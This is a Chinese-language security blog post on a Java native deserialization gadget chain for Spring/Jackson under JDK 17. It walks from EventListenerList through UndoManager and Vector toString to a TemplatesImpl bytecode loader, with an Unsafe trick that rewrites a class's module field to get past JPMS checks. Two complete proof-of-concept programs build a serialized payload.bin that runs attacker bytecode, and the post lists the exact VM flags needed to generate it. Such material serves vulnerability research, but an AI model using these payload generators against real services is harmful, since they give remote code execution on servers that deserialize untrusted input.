Turker
Turker
Published on 2025-12-16 / 56 Visits
0

Java安全——高版本 JDK 下的 Spring 原生反序列化链

高版本 JDK 下的 Spring 原生反序列化链

阅读这篇文章前,推荐先了解JDK8 Jackson 反序列化链

机制介绍

相较于 JDK8,JDK17 下的 Spring 利用链主要受到了一些限制。

首先,BadAttributeValueExpException#readObject 不会触发 toString了。这个我们之后会介绍替代。

接着是比较重量级的部分:从 JDK 9 开始,Java 引入了 JPMS(Java Platform Module System,模块系统)。在 JDK 17 里,这一机制变得更为强大,具体体现为:

  1. JDK 内部包(sun.*, jdk.internal.*)默认完全不可访问
  2. 如果一个类位于 JDK 的模块内,且该模块没有显式地 opens 该包,当你尝试对它的私有成员调用 setAccessible(true) 时,JVM 会直接抛出 InaccessibleObjectException 异常。
  3. 如果一个类位于 JDK 的模块内,且该模块没有显式地 exports 该包,你甚至不会找到这个类,会抛出 ClassNotFoundException 或 IllegalAccessError

新的 readObject to toString

这个类是 EventListenerList,它调用的不是显式的 toString 方法,而是利用字符串与对象的拼接触发 toString
javax.swing.event.EventListenerList#readObject

private void readObject(ObjectInputStream s)  
    throws IOException, ClassNotFoundException {  
    listenerList = NULL_ARRAY;  
    s.defaultReadObject();  
    Object listenerTypeOrNull;  
  
    while (null != (listenerTypeOrNull = s.readObject())) {  
        ClassLoader cl = Thread.currentThread().getContextClassLoader();  
        EventListener l = (EventListener)s.readObject();  
        String name = (String) listenerTypeOrNull;  
        ReflectUtil.checkPackageAccess(name);  
        @SuppressWarnings("unchecked")  
        Class<EventListener> tmp = (Class<EventListener>)Class.forName(name, true, cl);  
        add(tmp, l);  
    }  
}

可以发现这里我们需要一个能够强制转换为 EventListener 类型,并且实现 Serializable 接口的类。

这个类是 UndoManager,它实现了 UndoableEditListener 接口,同时继承了 CompoundEdit 类。

public class UndoManager extends CompoundEdit implements UndoableEditListener {
	//...
}

UndoableEditListener 接口又继承了 EventListener 类。

public interface UndoableEditListener extends java.util.EventListener {
	//...
}

同时 CompoundEdit 类继承了 AbstractUndoableEdit 类,这个类继承了 Serializable 接口。

public class CompoundEdit extends AbstractUndoableEdit {
	//...
}

public class AbstractUndoableEdit implements UndoableEdit, Serializable {
	//...
}

简直是完美的类。我们跟进 add 方法。这里的 l 是我们的 UndoManager 对象。这里判断了 l 是不是 java.lang.Class 类型,不是的话就会进入字符串拼接。
javax.swing.event.EventListenerList#add

public synchronized <T extends EventListener> void add(Class<T> t, T l) {  
    if (l==null) {  
        // In an ideal world, we would do an assertion here  
        // to help developers know they are probably doing  
        // something wrong  
        return;  
    }  
    if (!t.isInstance(l)) {  
        throw new IllegalArgumentException("Listener " + l +  
                                     " is not of type " + t);  
    }  
    if (listenerList == NULL_ARRAY) {  
        // if this is the first listener added,  
        // initialize the lists  
        listenerList = new Object[] { t, l };  
    } else {  
        // Otherwise copy the array and add the new listener  
        int i = listenerList.length;  
        Object[] tmp = new Object[i+2];  
        System.arraycopy(listenerList, 0, tmp, 0, i);  
  
        tmp[i] = t;  
        tmp[i+1] = l;  
  
        listenerList = tmp;  
    }  
}

UndoManager#toString 显然没什么可利用的,跟进父类的 toString
javax.swing.undo.UndoManager#toString

public String toString() {  
    return super.toString() + " limit: " + limit +  
        " indexOfNextAdd: " + indexOfNextAdd;  
}

这个方法粗看起来没什么特别的,仔细观察发现 edits 的类型是 vector,出现了新的 toString 方法。
javax.swing.undo.CompoundEdit#toString

public String toString()  
{  
    return super.toString()  
        + " inProgress: " + inProgress  
        + " edits: " + edits;  
}

这里也没什么,跟进父类。
java.util.Vector#toString

public synchronized String toString() {  
    return super.toString();  
}

AbstractCollection#toString 这里有一些不一样的发现,这个方法新建了一个迭代器,把对象传递给 StringBuilder.append 方法,我们可以通过 Vector.add 方法把恶意类添加进去。
java.util.AbstractCollection#toString

public String toString() {  
    Iterator<E> it = iterator();  
    if (! it.hasNext())  
        return "[]";  
  
    StringBuilder sb = new StringBuilder();  
    sb.append('[');  
    for (;;) {  
        E e = it.next();  
        sb.append(e == this ? "(this Collection)" : e);  
        if (! it.hasNext())  
            return sb.append(']').toString();  
        sb.append(',').append(' ');  
    }  
}

跟进一下 StringBuilder#append 方法。
java.lang.StringBuilder#append(java.lang.Object)

@Override  
public StringBuilder append(Object obj) {  
    return append(String.valueOf(obj));  
}

继续跟进 valueOf 方法。这里就是我们的任意 toString 了。
java.lang.String#valueOf(java.lang.Object)

public static String valueOf(Object obj) {  
    return (obj == null) ? "null" : obj.toString();  
}

最后要注意的是构造序列化对象时,要注意 EventListenerList#writeObject 的实现。列表里的第二个对象才会被我们想要的方法 s.writeObject(l) 写入,所以序列化时我们需要随便加一个对象在前面。
javax.swing.event.EventListenerList#writeObject

@Serial  
private void writeObject(ObjectOutputStream s) throws IOException {  
    Object[] lList = listenerList;  
    s.defaultWriteObject();  
  
    // Save the non-null event listeners:  
    for (int i = 0; i < lList.length; i+=2) {  
        Class<?> t = (Class)lList[i];  
        EventListener l = (EventListener)lList[i+1];  
        if ((l!=null) && (l instanceof Serializable)) {  
            s.writeObject(t.getName());  
            s.writeObject(l);  
        }  
    }  
  
    s.writeObject(null);  
}

不得不感叹,实在是很巧妙的一条链。在 JDK8 测试一下吧!
POC:

package org.burger;  
  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  
  
import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.springframework.aop.framework.AdvisedSupport;  
  
import javax.swing.event.EventListenerList;  
import javax.swing.undo.UndoManager;  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.Vector;  
  
@SuppressWarnings({ "rawtypes", "unchecked" })  
public class Poc {  
    public static void main(String[] args) throws Exception {  
        try {  
            ClassPool pool = ClassPool.getDefault();  
            CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
            CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");  
            ctClass.removeMethod(writeReplace);  
            ctClass.toClass();  
        } catch (Exception e) {  
            return;  
        }  
  
        byte[] code = Files.readAllBytes(Paths.get("Evil.class"));  
  
        TemplatesImpl templates = new TemplatesImpl();  
        setFieldValue(templates, "_bytecodes", new byte[][] { code });  
        setFieldValue(templates, "_name", "Burger King");  
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());  
  
        AdvisedSupport support = new AdvisedSupport();  
        support.setTarget(templates);  
  
        Class<?> proxyClass = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");  
        Constructor<?> constructor = proxyClass.getConstructor(AdvisedSupport.class);  
        constructor.setAccessible(true);  
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);  
  
        Templates proxy = (Templates) Proxy.newProxyInstance(  
                Templates.class.getClassLoader(),  
                new Class[]{Templates.class},  
                handler  
        );  
  
        POJONode jsonNode = new POJONode(proxy);  
  
        EventListenerList list = new EventListenerList();  
        UndoManager undomanager = new UndoManager();  
        Field f = undomanager.getClass().getSuperclass().getDeclaredField("edits");  
        f.setAccessible(true);  
        Vector vector = (Vector) f.get(undomanager);  
        vector.add(jsonNode);  
        setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});  
  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));  
        oos.writeObject(list);  
        oos.close();  
    }  
  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
}

绕过模块化

绕过模块化的核心其实就是使用 Unsafe 篡改 Module 机制。Unsafe 是 Java 中用于直接操作内存的类,它不会经过任何 JVM 安全检查,不会被 private 或者 final 字段限制,不会受模块限制,只关心内存地址(偏移量)。

而模块化的特征就是每一个 java.lang.Class 对象都会有一个名为 module 的字段(类型为 java.lang.Module)。这个字段定义了当前这个类属于哪个模块,是 JVM 权限检查的依据。

我们要做的事情就是利用 Unsafe 类修改自己的攻击类的 module 字段到 java.base ,这样一来我们在攻击类里就可以随意反射 java.base 里的其他私有成员了。(这里先欠一篇分析)

Class unsafeClass = Class.forName("sun.misc.Unsafe");  
Field field = unsafeClass.getDeclaredField("theUnsafe");  
field.setAccessible(true);  
Unsafe unsafe = (Unsafe) field.get(null);  
Module baseModule = Object.class.getModule();  
Class currentClass = Poc.class;  
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));  
unsafe.getAndSetObject(currentClass, addr, baseModule);

现在解决了反射的问题,但模块化带来了另一个问题:我们的恶意类现在不能继承 AbstractTranslet 了。要解决这个问题,我们需要先知道 AbstractTranslet 类如何影响恶意字节码的加载。相关分析在 CC3 那篇文章有写,这里就接着那一段分析了。

private void defineTransletClasses()  
    throws TransformerConfigurationException {  
	//...
    try {  
		//...
		if (classCount > 1) {  
		    _auxClasses = new HashMap<>();  
		}

        for (int i = 0; i < classCount; i++) {  
            _class[i] = loader.defineClass(_bytecodes[i]);  
            final Class superClass = _class[i].getSuperclass();  
  
            // Check if this is the main class  
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {  
                _transletIndex = i;  
            }  
            else {  
                _auxClasses.put(_class[i].getName(), _class[i]);  
            }  
        }  
  
        if (_transletIndex < 0) {  
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);  
            throw new TransformerConfigurationException(err.toString());  
        }  
    }  
	//... 
}

可以看到,当遍历到一个父类为 AbstractTranslet_bytecodes 元素时,_transletIndex会被设置为该元素在数组内的下标。那解决办法也很简单,利用反射手动设置 _transletIndex 不小于 0 就好了。同时这里会调用 _auxClasses.put,那这就必须实例化一个,可以看到 classCount > 1 即可,也就是传入字节码的时候加一个没什么用的就好。

剩下还有一些东西需要强调。在前文写 Jackson 序列化时我提到代理是为了解决获取 getter 顺序问题,但在这里代理还有一个作用。如果我们直接向 POJONode 传入 TemplatesImpl 对象,由于 com.sun.org.apache.xalan.internal.xsltc.trax 这个包没 export ,是无法访问的。而 javax.xml.transform.Templates 是个公开 exports 接口,所以可以正常反序列化。

那让我们写出 JDK17 Spring 原生反序列化 POC:

package org.burger;  
  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  
  
import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.springframework.aop.framework.AdvisedSupport;  
import sun.misc.Unsafe;  
  
import javax.swing.event.EventListenerList;  
import javax.swing.undo.UndoManager;  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.reflect.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.ArrayList;  
import java.util.Vector;  
  
@SuppressWarnings({"rawtypes", "unchecked", "CallToPrintStackTrace"})  
public class Poc {  
    public static void main(String[] args) throws Exception {  
  
        try {  
            ClassPool pool = ClassPool.getDefault();  
            CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
            CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");  
            ctClass.removeMethod(writeReplace);  
            ctClass.toClass();  
        } catch (Exception e) {  
            return;  
        }  
  
        Class unsafeClass = Class.forName("sun.misc.Unsafe");  
        Field field = unsafeClass.getDeclaredField("theUnsafe");  
        field.setAccessible(true);  
        Unsafe unsafe = (Unsafe) field.get(null);  
        Module baseModule = Object.class.getModule();  
        Class currentClass = Poc.class;  
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));  
        unsafe.getAndSetObject(currentClass, addr, baseModule);  
  
        byte[] code = Files.readAllBytes(Paths.get("Evil.class"));  
        byte[] uselessCode = ClassPool.getDefault().makeClass("Burger").toBytecode();  
  
        TemplatesImpl templates = new TemplatesImpl();  
        setFieldValue(templates, "_bytecodes", new byte[][] { code, uselessCode });  
        setFieldValue(templates, "_name", "Burger King");  
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());  
        setFieldValue(templates,"_transletIndex",0);  
  
        AdvisedSupport support = new AdvisedSupport();  
        support.setTarget(templates);  
  
        Class<?> proxyClass = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");  
        Constructor<?> constructor = proxyClass.getConstructor(AdvisedSupport.class);  
        constructor.setAccessible(true);  
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);  
  
        Templates proxy = (Templates) Proxy.newProxyInstance(  
                Templates.class.getClassLoader(),  
                new Class[]{Templates.class},  
                handler  
        );  
  
        POJONode jsonNode = new POJONode(proxy);  
  
        EventListenerList list = new EventListenerList();  
        UndoManager undomanager = new UndoManager();  
        Field f = undomanager.getClass().getSuperclass().getDeclaredField("edits");  
        f.setAccessible(true);  
        Vector vector = (Vector) f.get(undomanager);  
        vector.add(jsonNode);  
        setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});  
  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));  
        oos.writeObject(list);  
        oos.close();  
    }  
  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
  
}

注意:在生成 Payload 的时候你应当加上如下的 VM 配置:

--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED

然后反序列化即可,Enjoy!
file-20251216040405001.png